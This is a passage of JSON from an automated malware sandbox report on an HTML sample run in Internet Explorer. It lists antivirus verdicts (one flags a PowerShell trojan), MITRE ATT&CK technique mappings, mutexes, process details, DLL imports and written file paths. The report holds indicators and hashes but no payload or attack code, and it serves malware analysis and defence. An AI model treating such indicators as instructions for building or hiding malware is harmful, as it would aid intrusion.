er?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.PowerShell.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.PowerShell","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"informative","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1140","identifiers":[{"type":"suspicious","value":"Contains escaped byte string (often part of obfuscated shellcode)"}],"sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]}],"sandbox_signatures":[{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\UpdatingNewTabPageData\"\n \"{5312EE61-79E3-4A24-BFE1-132B85B23C3A}\"\n \"UpdatingNewTabPageData\"\n \"{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}\"\n \"IsoScope_f4c_IE_EarlyTabStart_0x2ec_Mutex\"\n \"IsoScope_f4c_IESQMMUTEX_0_331\"\n \"Local\\URLBLOCK_FILEMAPSWITCH_MUTEX_3916\"\n \"Local\\ZonesCacheCounterMutex\"\n \"IsoScope_f4c_ConnHashTable<3916>_HashTable_Mutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"IsoScope_f4c_IESQMMUTEX_0_303\"\n \"Local\\!BrowserEmulation!SharedMemory!Mutex\"\n \"Local\\URLBLOCK_DOWNLOAD_MUTEX\"\n \"Local\\VERMGMTBlockListFileMutex\"\n \"Local\\URLBLOCK_HASHFILESWITCH_MUTEX\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\!BrowserEmulation!SharedMemory!Mutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\VERMGMTBlockListFileMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\URLBLOCK_FILEMAPSWITCH_MUTEX_3916\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\URLBLOCK_HASHFILESWITCH_MUTEX\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\URLBLOCK_DOWNLOAD_MUTEX\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"iexplore.exe\" (UID: 00031049-00002056) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"\n Process \"iexplore.exe\" (UID: 00031049-00002056) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"iexplore.exe\" searching for class \"Shell_TrayWnd\"\n \"iexplore.exe\" searching for class \"ImmersiveWorkerWindowClass\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"iexplore.exe\" with commandline \"SCODEF:3916 CREDAT:275457 /prefetch:2\" (UID: 00031049-00002056)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"iexplore.exe\" with commandline \"SCODEF:3916 CREDAT:275457 /prefetch:2\" (UID: 00031049-00002056)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"Installation/Persistance","name":"Creates new processes","description":"\"iexplore.exe\" is creating a new process (Name: \"%PROGRAMFILES%\\(x86)\\Internet Explorer\\iexplore.exe\"\n Handle: )","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"RecoveryStore._C7A4F1AE-D920-11E7-B48D-080027D44A30_.dat\" has type \"Composite Document File V2 Document Cannot read section info\"\n \"~DF5196F69A9A168BA4.TMP\" has type \"data\"\n \"~DFCBA670165619F42C.TMP\" has type \"data\"\n \"~DFD4FE5F8DD9DEDC80.TMP\" has type \"data\"\n \"RecoveryStore._7BFF75AB-0186-11EA-8A62-3C00276F275A_.dat\" has type \"Composite Document File V2 Document Cannot read section info\"\n \"_7BFF75AD-0186-11EA-8A62-3C00276F275A_.dat\" has type \"Composite Document File V2 Document Cannot read section info\"\n \"8TC9AUSA.txt\" has type \"ASCII text\"\n \"JavaDeployReg.log\" has type \"ASCII text with CRLF line terminators\"\n \"_82571714-0186-11EA-8A62-3C00276F275A_.dat\" has type \"Composite Document File V2 Document Cannot read section info\"\n \"~DF86F3A3E11F02BB68.TMP\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"Installation/Persistance","name":"Found a string that may be used as part of an injection method","description":"\"Shell_TrayWnd\" (Taskbar window class may be used to inject into explorer with the SetWindowLong method)","origin":"File/Memory","mitre_attack_id":"T1055","relevance":4,"id":"string-4","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$27","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found a reference to a known community page","description":"$28","origin":"File/Memory","relevance":7,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$29","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/70 reputation engines marked \"http://ddecode.com/hexdecoder/\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":32,"imported_dlls_count":113,"dropped_files_count":0,"extracted_files_count":10,"files_written_count":92,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":16,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":16,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Extracted Files"],"sandbox_reports":[{"id":"5dc46623028838073508c911","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"suspicious","threat_score":35,"submit_name":"results2e0b72a76ffe53bef621155a5ff4a2e1","analysis_start_time":"2019-11-07T18:45:06+00:00","indicators_count":{"informative":11,"suspicious":2,"malicious":0},"tags":["Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}],"processes":[{"pid":3916,"ppid":0,"name":"iexplore.exe","command_line":"C:\\2870de003e6c46d382096dac5e7afe9c6afaf0c36d0ef051f08d8e1ba823ab29.html","sha256":"c00b9f2b32828341a9185ae2be1a0649c9f503f0b5cccebc75be4c2f8c596530","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","uid":"00030924-00003916","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAB7klEQVR42u2XzYrqMBiG5w5FdOeleBsiWLs8unfhHYg7F4J/iHjc+DszbRfaf/ue8yV0qh2DTeLs5oMXWmjyPGnyFfr29lu/lavpdIr9fo/T6YTD4VAw/PntdovhcIhSqQRlgdlshiRJoFJRFIHGk0SlUoGyQBAEbEISSZIrrldRYsRxFqrVaoXlconJZIJyuQxNATE4D08FNpu/2O127H48HqNWq0FZoMiqs0RsDK1+vV6za9u2MRgMUK1WISXg+75QQARPBebzObrdP//TRafTQa/XQ7/ff5WAGE4HkJLW8XhkMqPRiEloCsRCeArOEiIMw7tOWiwWOgLPV30LTwV4aJ4El8tFVUAHHrCQgOM4sgIee4XPX3kemoGpkyg0j+PYcgKelxeIlOBB4LNviaaAHDwT8F8hoAdPBeiDJCngsoGiFhOD7wXoMFMn2bYlL0ADi5zy/J7fwrlALC/gunkBNTh1k6ZAKA3nAt5XNATiAm0mXvmtgGUpCFALFjnlIjCFuom6yLI+dQSKwL+DeVwdgfBpiz2CcwH3K4oCFzawyCl/vPoXCejClQTov+B8PrP953AvJ+B+C20ZST9KGEb4+HiXE/iJKixQr9fRbDZhmm202zyGkV4bdzEMSuthWi0e0zTRaDTU/5R+uv4BptK4NzAQLaQAAAAASUVORK5CYII="},{"pid":2056,"ppid":3916,"name":"iexplore.exe","command_line":"SCODEF:3916 CREDAT:275457 /prefetch:2","sha256":"072041fa70bb351030c516e1b6f7f21d15495da158f3890826ba5b978af8900e","normalized_path":"%PROGRAMFILES%\\(x86)\\Internet Explorer\\iexplore.exe","parent_uid":"00030924-00003916","uid":"00031049-00002056"}],"all_imported_dlls":["api-ms-win-downlevel-advapi32-l2-1-0.dll","rasadhlp.dll","KernelBase.dll","winhttp.dll","srvcli.dll","dui70.dll","dnsapi.dll","iertutil.dll","MSOHEV.DLL","rpcrt4.dll","version.dll","comdlg32.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","profapi.dll","WindowsCodecs.dll","imagehlp.dll","Wldap32.dll","DWrite.dll","d3d11.dll","shell32.dll","rpcss.dll","clbcatq.dll","sechost.dll","mswsock.dll","normaliz.dll","ieframe.dll","imm32.dll","duser.dll","wow64.dll","msls31.dll","jscript9.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","wkscli.dll","secur32.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","IEShims.dll","webio.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","WSHTCPIP.DLL","mshtml.dll","shlwapi.dll","winnsi.dll","wow64cpu.dll","jp2ssv.dll","ws2_32.dll","sspicli.dll","user32.dll","devobj.dll","msvcr90.dll","cryptsp.dll","dwmapi.dll","dxgi.dll","nsi.dll","d2d1.dll","rsaenh.dll","msvcrt.dll","dhcpcsvc6.dll","netapi32.dll","oleacc.dll","ssv.dll","userenv.dll","kernel32.dll","ole32.dll","wininet.dll","IPHLPAPI.DLL","comctl32.dll","uxtheme.dll","linkinfo.dll","msimtf.dll","d3d10warp.dll","netprofm.dll","oleaut32.dll","ntmarta.dll","ieproxy.dll","cryptbase.dll","dhcpcsvc.dll","wow64win.dll","bcryptprimitives.dll","gdi32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","ntdll.dll","advapi32.dll","msvcr100.dll","wship6.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","oleaccrc.dll","propsys.dll","mlang.dll","deploy.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","npmproxy.dll","crypt32.dll","msasn1.dll","ExplorerFrame.dll","sxs.dll","bcrypt.dll","nlaapi.dll","netutils.dll","RpcRtRemote.dll","apphelp.dll","urlmon.dll","ieui.dll","msimg32.dll","URLREDIR.DLL","sqmapi.dll","usp10.dll","setupapi.dll","wintrust.dll","VxSSL64.dll","lpk.dll","api-ms-win-downlevel-version-l1-1-0.dll","cfgmgr32.dll","msctf.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"8TC9AUSA.txt","sha256":"f02939d2397337786555a7b056f508b42a13e4c09cc6ce973eadf54e4151c25d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"JavaDeployReg.log","sha256":"18639ee9127e83395124369134776265715c6fa80ddd4c0cae9911b6a3c6e19d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"~DF5196F69A9A168BA4.TMP","sha256":"31723c79d96240b4460ff7ac350578bb377161e3239f498c44b138d5957b6abf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"~DF86F3A3E11F02BB68.TMP","sha256":"600fe2ef592ff3343fb09d5e26636af9b71ee6e4aa7e9eac1c4421a8d82f8db4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"~DFCBA670165619F42C.TMP","sha256":"0d19fcb2ca358169bfc5c93dd5535f4c00b36cbfb0442820f7666580168d238a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"~DFD4FE5F8DD9DEDC80.TMP","sha256":"ea6225d7322e2c1c0d9934b15486cbd77bec905abe778046e1b538d8a8b51112","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"RecoveryStore._C7A4F1AE-D920-11E7-B48D-080027D44A30_.dat","sha256":"c483ed8d1e97b7c66b754cf43759e9ec3eeb846300a443308e417c4649a9e30f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"RecoveryStore._7BFF75AB-0186-11EA-8A62-3C00276F275A_.dat","sha256":"ece3025731fc7f9de067c1ebfa5a8cac4cdf73d8292bb15e190a9afb42b725ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"_7BFF75AD-0186-11EA-8A62-3C00276F275A_.dat","sha256":"5ed2f83043ebfbcbd761904ed8075138fe9ab0c3f616145bff63a76bf1de0a3e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"_82571714-0186-11EA-8A62-3C00276F275A_.dat","sha256":"35ce8c4641ee4cd06f01eb9b690483afca5f6ab75a87bb31cf36733d49d252cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]}],"files_written":[{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%PROGRAMFILES%\\(x86)\\Internet Explorer\\en\\IEXPLORE.EXE.mui","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%PROGRAMFILES%\\(x86)\\Internet Explorer\\en-US\\iexplore.exe.mui","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%PROGRAMFILES%\\(x86)\\Internet Explorer\\iexplore.exe","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%PROGRAMFILES%\\Internet Explorer\\en-US\\iexplore.exe.mui","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\{7BFF75AD-0186-11EA-8A62-3C00276F275A}.dat","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%TEMP%\\~DF5196F69A9A168BA4.TMP","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%PROGRAMFILES(X86)%\\MICROS~2\\Office14\\URLREDIR.DLL","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\UrlBlockManager\\urlblocklist.bin","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Low","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\Low","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\Low","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Adobe\\Flash Player\\NativeCache","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Low","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%USERPROFILE%\\Favorites","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Tracking Protection","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Feeds","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\TabRoaming","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\PlayReady","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\PrivacIE","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\PrivacIE\\Low","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\DNTException","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\DNTException\\Low","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IECompatCache","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IECompatCache\\Low","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%PROGRAMFILES%\\(x86)\\Java\\jre1.8.0_151\\lib\\plugin.jar","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IECompatUACache","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IECompatUACache\\Low","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%PROGRAMFILES%\\(x86)\\Java\\jre1.8.0_151\\bin\\javaws.exe","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%TEMP%\\Low","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\SysWOW64\\ieframe.dll","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"C:\\2870de003e6c46d382096dac5e7afe9c6afaf0c36d0ef051f08d8e1ba823ab29.html","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\SysWOW64\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\System32\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%TEMP%\\~DF86F3A3E11F02BB68.TMP","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\Fonts\\cour.ttf","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\Fonts\\courbd.ttf","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\Fonts\\times.ttf","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\mlang.dll.mui","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\Fonts\\simsun.ttc","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\Fonts\\couri.ttf","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\SysWOW64\\shell32.dll","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%USERPROFILE%\\Favorites\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\System32\\Macromed\\Flash\\Flash64_27_0_0_187.ocx","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\imagestore\\js9ur7b\\imagestore.dat","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\Fonts\\seguisym.ttf","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000019.db","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%WINDIR%\\System32\\url.dll","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\W4ZUP6XA\\favicon[5].ico","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\6CY2NG59.txt","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\24I82KXY.txt","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet 